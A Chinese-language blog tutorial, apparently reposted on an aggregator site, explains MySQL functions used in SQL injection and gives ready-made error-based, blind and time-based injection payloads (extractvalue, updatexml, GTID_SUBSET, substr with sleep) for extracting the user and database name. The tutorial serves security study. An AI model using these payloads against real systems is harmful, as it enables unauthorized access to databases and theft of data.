Web安全-SQL注入常用函数(二)

这篇具有很好参考价值的文章主要介绍了Web安全-SQL注入常用函数(二)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

★★实战前置声明★★

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、MySQL数据库构成

初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库:

# 默认自带4个系统数据库
information_schema
mysql
performance_schema
sys

# 查库/表/字段名
information_schema
|__schemata # 所有数据库的名字
|__schema_name # 数据库名
|__tables # 所有表的名字
|__table_schema # 表所属数据库的名称
|__table_name # 表的名字
|__columns # 所有字段的名字
|__table_schema # 字段所属数据库的名字
|__table_name # 字段所属表的名字
|__column_name # 字段的名字

2、SQL注入常用函数使用说明

以下内容基于MySQL数据库。

2.1、系统函数

system_user()       # 系统用户名
user() # 用户名
current_user() # 当前用户名
session_user() # 连接数据库的用户名
database() # 数据库名
version() # 数据库版本
load_file() # 转成16进制或10进制MySQL读取本地文件的函数
@@datadir # 读取数据库路径
@@basedir # 安装路径
@@version_compile_os # 数据库安装所在的操作系统

2.2、报错函数

2.2.1、extractvalue()

extractvalue(xml_frag, xpath_expr)接收两个字符串参数,xml_frag表示XML标记片段,xpath_expr表示XPath表达式,也称为定位器,返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径法(示例:/a/b)表示的查找路径。如果XPath格式语法错误就会报错。SQL注入就是利用这个特性。

# 正常查询不报错
select extractvalue('<a></a>','/a/b');

# XPath格式语法错
select extractvalue('<a></a>','~');

# 报错信息
> 1105 - XPATH syntax error: '~'

SQL注入可以使用使用~的ascii码值0x7e拼接报错获取到想到的数据

字符型: 'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
数字型: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
2.2.2、updatexml()

updatexml(xml_doc, XPath_str, new_value) 参数一是String格式,XML文档对象名称,参数二:XPath格式语法(示例:/a/b),参数三是String格式,替换查找到的符合条件的数据。

字符型: 'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型: and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
2.2.3、GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。GTID_SUBSET(set1, set2 ) 在set1中的GTID也在set2中,否则返回false(set1是set2的子集),GTID_SUBTRACT(set1, set2)返回在set1中,不在set2中的GTID集合(set1和set2的差集)。

# 查询报错
select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);

# 报错信息
> Malformed GTID set specification 'root@localhost'.

SQL注入拼接

'-GTID_SUBSET(user(),1)-'
# 或
'-GTID_SUBTRACT(user(),1)-'

2.3、截取函数

2.3.1、left

left(Str, index) ,参数一:待截取的字符串,参数二:从左边开始共截取多少位,举例:数据库名:security,

left(database(),1) ='s' # 结果:1-true, 0-false
left(database(),2) ='se' # 结果:1-true, 0-false

SQL注入时可以配合Burp Suite,快速爆破数据库名。

2.3.2、mid

mid(Str, start [, length]),参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。

mid(database(),1,1) ='s' # 结果:1-true, 0-false

功能同left。

2.3.3、substr

substr()和substring()函数功能一样,都为截取字符串。substr(Str, start [, length])和substring(Str, start [, length]) 两个函数,参数一样。参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。举例:数据库名:security,

substr(database(),1,1) ='s' # 结果:1-true, 0-false
substring(database(),1,1) ='s' # 结果:1-true, 0-false

2.4、判断函数

2.4.1、if

if(a, b, c)当a 为真时执行b; a为假时执行c。常用在时间盲注 and+if(1=1, sleep(1), sleep(5))--+

2.4.2、case when

case when 条件 then 正确的结果 else 错误的结果 end

2.5、其他函数

2.5.1、ascii

ascii(str)返回字符串的ascii码,在SQL注入中经常结合substr()函数一起使用,举例:数据库名:security,

select ascii(substr(database(),1,1));

# 查询结果是 115, s的ascii码是115

ASCII码转换和对照查询表:https://www.ghostgroup.cn/ascii/ascii.html

2.5.2、length

length(str)返回字符串的字节长度,举例:数据库名:security,

select length(database());
# 查询结果是 8
2.5.3、hex

hex(str)返回字符串的十六进制,在URL不可以出现@等特殊字符时可以该函数进行转换,再通过在线网站转换回来

select hex(user());

# 查询结果值
726F6F74406C6F63616C686F7374

到在线工具类网站:https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en 转换得到结果

Web安全-SQL注入常用函数(二)

 

 3、敬请关注我的公众号

敬请关注我的公众号:大象只为你,跟我学网安知识系列文章持续更新中......文章来源地址https://www.toymoban.com/news/detail-802699.html

 
 

到了这里,关于Web安全-SQL注入常用函数(二)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全:SQL注入漏洞测试.

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月05日
    浏览(56)
  • Web安全之SQL注入绕过技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格:   最基本的绕过方法,用注释替换空格: 使用浮点数: 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两

    2024年02月07日
    浏览(44)
  • web安全漏洞-SQL注入攻击实验

    实验目的 学习sql显注的漏洞判断原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 实验工具 sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6种SQL注入手段。 实验内容 SQL注入(SQL I

    2024年02月06日
    浏览(56)
  • 加强Web应用程序安全:防止SQL注入

    数据库在Web应用程序中存储和组织数据时起着至关重要的作用,它是存储用户信息、内容和其他应用程序数据的中央存储库。而数据库实现了高效的数据检索、操作和管理,使Web应用程序能够向用户提供动态和个性化的内容。然而,数据库和网络应用程序之间的通信不畅可能

    2024年02月14日
    浏览(44)
  • Web安全:SQL注入漏洞测试(防止 黑客利用此漏洞.)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月13日
    浏览(40)
  • Web安全 SQL注入漏洞测试.(可以 防止恶意用户利用漏洞)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2023年04月20日
    浏览(51)
  • 常见web安全漏洞-暴力破解,xss,SQL注入,csrf

    1,暴力破解 原理:         使用大量的认证信息在认证接口进行登录认证,知道正确为止。为提高效率一般使用带有字典的工具自动化操作         基于表单的暴力破解 --- 若用户没有安全认证,直接进行抓包破解。 验证码绕过                           on s

    2023年04月12日
    浏览(53)
  • WEB安全-SQL注入,CSRF跨站伪造,OXX跨站脚本

      目录 SQL 注入攻击 字符串型 数字型 参数化型 盲注型 python解决SQL注入 CSRF 跨站伪造攻击 Django防止CSRF手段 CSRF攻击只会在表单上吗?   XSS 跨站脚本攻击 其他攻击         SQL 注入是一种网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,试图 访

    2024年02月14日
    浏览(42)
  • WEB安全之XSS漏洞与SQL注入漏洞介绍及解决方案

    这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,比较适合初学者观看。 对于防止sql注入发生,我在这里用简单拼接字符串的注入及参数化查询,如果大家对这个系列的内容感兴趣,可以在评论区告诉我! XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者

    2024年02月07日
    浏览(49)
  • 小迪安全25WEB 攻防-通用漏洞&SQL 读写注入&MYSQL&MSSQL&PostgreSQL

       #知识点:  1、SQL 注入-MYSQL 数据库  2、SQL 注入-MSSQL(SQL server) 数据库  3、SQL 注入-PostgreSQL 数据库  #详细点:  Access 无高权限注入点-只能猜解,还是暴力猜解           因为access的数据库是独立存在的,不存在统一管理 对账号密码进行猜解,此时只是获取到后台的操

    2024年02月20日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包